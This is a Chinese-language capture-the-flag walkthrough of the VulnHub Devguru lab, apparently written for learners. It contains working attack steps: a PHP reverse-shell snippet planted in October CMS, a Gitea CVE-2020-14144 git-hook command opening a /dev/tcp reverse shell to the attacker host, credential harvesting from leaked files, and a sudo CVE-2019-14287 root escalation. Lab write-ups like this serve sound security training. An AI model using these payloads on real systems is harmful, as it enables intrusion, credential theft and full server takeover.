一、环境搭建

VM版本：17.5.1 build-23298084

攻击机：Kali2024（下载地址：https://www.kali.org/）

靶机：vulnhub靶场Devguru（下载地址：https://www.vulnhub.com/entry/devguru-1,620/）

网络环境：两台主机都设置NAT模式

踩坑1：使用vmware workstation打开Devguru，可能存在兼容性问题兼容性，我是选择重试继续安装也能正常玩耍，也可以更改VM虚拟机硬件为16.x。

解决环境配置问题也是安全必修课之一，细心解决并多总结即可！环境准备完毕，就可以娱乐的玩靶场了。

二、信息收集

1、收集IP、端口、目录信息

（1）确定靶机、攻击机IP，Kali攻击机使用ifconfig查看的IP为：192.168.232.128

（2）使用kali的nmap进行网段扫描、全端口扫描：nmap -p 1-65535 192.168.232.0/24

发现靶机的IP为：192.168.232.157         开放端口22、80、8585

（3）实战中优先访问80、8585web页面端口。22是ssh端口可以尝试爆破，不过成功概率极低。

http://192.168.232.157是网站首页，未发现任何可利用信息。

http://192.168.232.157:8585是gitea的首页，gitea版本为1.12.5存在历史漏洞。

（4）扫描http://192.168.232.157站点目录，发现利用点：

/.git/文件泄露     mysql登录地址 /adminer.php

扫描http://192.168.232.157:8585 站点目录，未发现什么有价值的利用点，只有一个登录处。

2、信息整合、漏洞利用

（1）两个登录框的账号密码都未知，威胁建模后，发现/.git/泄露漏洞可以利用，从这里入手。使用git利用工具GitHack-master爬取站点的源码。

（2）成功获得源码文件，开始审计源码，寻找有价值的信息，这里一眼就看到了config配置文件。从配置文件中获取了一个mysql用户。

拿下mysql后台低权限【1】

（3）去站点80端口的/adminer.php后台尝试登录，非常好，成功进入mysql后台。

（4）进入mysql数据库攻击优先顺序：

方法1：权限足够，直接写入一句话拿下网站权限

方法2：翻找数据表获取其他站点的账号密码，再进行后续的提权

（5）这里使用方法2，优先查看backend_user数据表的信息，发现一个账号密码，看样子就知道不容易解密。

（6）目前解密失败就尝试换一种思路，自己创建一个用户，并且权限设置为管理员。

（7）模仿游戏，尽量能设置一样，这样权限也会一样，再把添加的gjc用户加入管理员组中。

拿下october后台权限【2】

（8）从文件名规律猜测存在站点backend，访问站点：http://192.168.232.157/backend，使用创建的账号gjc 密码123456尝试登录，登录成功。

（9）kali工具或者网上搜索october-cms存在已知漏洞，后台可以文件上传、创建网页反弹shell，有兴趣了解参考大神文章：https://blog.csdn.net/m0_66299232/article/details/129119565

october获取网站权限【3】

（10）创建一个网页，写入反弹shell的代码：

function onStart(){
//nc监听7777端口
    $s=fsockopen("攻击机IP",7777);
    $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

（11）Kali攻击机nc监听7777端口：nc -lvvp 7777

（12）保持后查看网页，成功反弹shell。

（13）whoami查看权限，只是web权限太低了，靶场最终需要拿下root权限，尝试提权。

（14）翻一下目录，发现/var/backups下面有个备份文件app.ini.bak ,使用cat查看一下，获取到一个gitea和密码UfFPTF8C8jjxVF2m的mysql账号，刚好http://192.168.232.157:8585是gitea，猜测后面肯定有关联，正所谓无巧不成书！

拿下mysql后台高权限【4】

（15）去http://192.168.232.157/adminer.php登录看看，成功进入！

（16）查看user表信息，看到一个frank用户，使用了pbkdf2加密，此处有两种办法：

方法1：查看网站源码，分析加密方式，再根据加密写出解密脚本得到密码。（实战推荐这种）

方法2：修改密码，编辑数据表，修改加密方式为Bcrypt，密码改为123456（靶场推荐这种）

（17）Bcrypt加密网站：https://www.jisuan.mobi/nX7.html。修改两处即可！

拿下gieat站点后台权限【5】

（18）使用账号gieat密码123456成功登录http://192.168.232.157:8585 站点后台。

gieat获取普通用户权限【6】

（19）这里也是难点，gieat站点后台有个远程命令执行漏洞，文章地址：

Exploiting CVE-2020-14144 - GiTea Authenticated Remote Code Execution using git hooks · Podalirius访问http://192.168.232.157:8585/frank/devguru-website/settings/hooks/git/pre-receive写入反弹命令：

bash -c "exec bash -i >& /dev/tcp/192.168.232.128/5566 0>&1"        

（20）保存后，Kali创建监听5566端口，按照原理编辑README.md文件。

（21）在文件中随机敲几个空格提交修改，既可成功反弹shell。

​​​​​​​

（22）查看权限，是frank用户，普通权限，无法查看root目录下面的文件，只能进行权限提升。

三、权限提升

1、Linux常见提权手段总结

【1】内核溢出漏洞提权，例如：cve-2016-5195、cve_2021_4034等，也就是常说的脏牛系。

【2】SUID、SUDO、SUDO历史CVE漏洞提权

【3】Cron计划任务提权、path环境变量提权、NFS协议提权

【4】数据库类型提权、Capability能力

【5】其他.. ....LD_Preload加载\LXD\docker等等

以上是本人学过的linux提权方式，遗漏的欢迎大家评论区补充。

2、上传提权综合类脚本，PEASS-ng.sh工具几乎包含了上面全部手段探测，算是提权神器。windows中也能用。

将脚本放到Kali的root根目录下面，python开启一个服务终端：python -m http.server 8080

然后靶机进入/tmp目录远程下载文件：wget http://192.168.232.128:8080/PEASS-ng.sh

3、进入靶机的/tmp目录下面，可以看到文件被成功访问下载。

4、赋予文件执行权限：chmod +x PEASS-ng.sh 

执行文件：./PEASS-ng.sh

工具爬取出了suid等可利用信息，suid、sudo等提权参考文章：https://gtfobins.github.io/

5、sudo -l 查看可利用命令，发现/usr/bin/sqlite3

6、使用命令：sudo /usr/bin/sqlite3 /dev/null '.shell /bin/sh'  发现提权失败，权限不足。

7、因为这里有一个考点，就是sudo版本1.8.21存在CVE-2019-14287漏洞。（CVE-2019-14287学习文章：CVE-2019-14287：sudo权限绕过漏洞分析与复现_运行）

拿下站点root权限【7】

8、将命令修改整理后：sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'

9、至此，靶场完结！！！

四、关卡总结

考点：

1、拿下站点、敏感文件后，需要细心的审计搜索有价值的信息，特别是账号密码。

2、常见网站october、gieat的历史漏洞，利用已知漏洞反弹shell，拿下网站。

3、熟悉数据库后台创建用户，添加用户组，编辑用户的操作。

4、了解linux提权常用操作，内核漏洞>suid/sudo>环境变量/计划任务等等。

难点：

1、常见网站october、gieat的历史漏洞，这些站点的漏洞能否成功利用提权，对于小白来说是块硬骨头。

2、获取mysql的frank用户时，此处用的是修改加密方式、修改密码。实战中此操作风险太高。需要根据前面获得的源码分析加解密方式，才是最安全合理的。但是代码能力要求很高